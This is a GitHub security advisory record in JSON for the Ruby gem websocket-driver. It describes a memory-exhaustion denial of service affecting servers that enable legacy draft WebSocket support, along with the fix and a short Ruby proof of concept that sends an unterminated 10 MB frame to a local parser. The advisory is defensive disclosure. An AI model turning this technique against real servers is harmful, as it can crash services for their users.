{"id":"GHSA-q3c8-h5pg-2836","summary":"websocket-driver: Excessive memory use caused by draft-75/76 buffering","details":"### Summary\n\nA server running `websocket-driver` can be made to buffer data in excess of `max_length` and potentially run out of memory by a client sending a non-terminated stream of message data.\n\n### Details\n\nWhen configured using `allow_drafts: true`, the `websocket-driver` library continues to support legacy draft versions of the WebSocket protocol. These use delimited rather than length-prefixed frames; a frame is initiated by sending `00` and ended by sending `FF`. If a client sends `00` and then sends a long series of bytes, the server will buffer this data in excess of `max_length`, potentially causing it to run out of memory if the message is continued indefinitely.\n\nThis has been mitigated by properly enforcing the `max_length` limit at the point where the data is buffered. It can also be prevented by not setting the `allow_drafts` option.\n\n### Proof of concept\n\nThis script demonstrates how much data is buffered by a draft-75 parser on receipt of a very long unterminated message:\n\n```rb\nrequire 'bundler/setup'\nrequire 'websocket/driver'\n\nclass Sock\n  def write(_) ; end\nend\n\nd = WebSocket::Driver.server(Sock.new, :allow_drafts =\u003e true, :max_length =\u003e 1024)\nd.on(:connect) { d.start }\n\n# draft-75 handshake: NO Sec-WebSocket-Key/Version/Key1/Key2 -\u003e Draft75 selected\nd.parse(\n  \"GET / HTTP/1.1\\r\\n\" +\n  \"Host: localhost\\r\\n\" +\n  \"Upgrade: websocket\\r\\n\" +\n  \"Connection: Upgrade\\r\\n\" +\n  \"Origin: http://localhost\\r\\n\" +\n  \"\\r\\n\")\n\n# One text frame: 0x00, then 10 MB of 0x41, NO terminating 0xFF, in one chunk.\nN = 10 \u003c\u003c 20\nchunk = \"\\x00\" + (\"\\x41\" * (N + 1))\nd.parse(chunk)\n\np d.instance_variable_get(:@delegate)\n    .instance_variable_get(:@reader)\n    .instance_variable_get(:@buffer).bytesize\n\np d.instance_variable_get(:@delegate)\n    .instance_variable_get(:@buffer).size\n```\n\nOn vulnerable versions this will print numbers far in excess of the configured `max_length`.\n\n### Impact\n\nA server with `allow_drafts` enabled can be made to run out of memory and crash by an unauthenticated remote client sending a non-terminating stream of message data.","aliases":["CVE-2026-144293"],"modified":"2026-12-05T18:48:13.644601272Z","published":"2026-12-04T22:05:42Z","database_specific":{"cwe_ids":["CWE-770"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-12-04T22:05:42Z","nvd_published_at":"2026-12-03T18:17:26Z"},"references":[{"type":"WEB","url":"https://github.com/faye/websocket-driver-ruby/security/advisories/GHSA-q3c8-h5pg-2836"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-144293"},{"type":"WEB","url":"https://github.com/faye/websocket-driver-ruby/commit/5a0bd6f9cbaa800a3796aa974120ad8bdb38ab35"},{"type":"PACKAGE","url":"https://github.com/faye/websocket-driver-ruby"},{"type":"WEB","url":"https://github.com/faye/websocket-driver-ruby/releases/tag/0.9.2"}],"affected":[{"package":{"name":"websocket-driver","ecosystem":"RubyGems","purl":"pkg:gem/websocket-driver"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.2"}]}],"versions":["0.1.0","0.2.0","0.2.1","0.2.2","0.2.3","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.4.0","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.8.0","0.8.1","0.8.2","0.9.0","0.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-q3c8-h5pg-2836/GHSA-q3c8-h5pg-2836.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}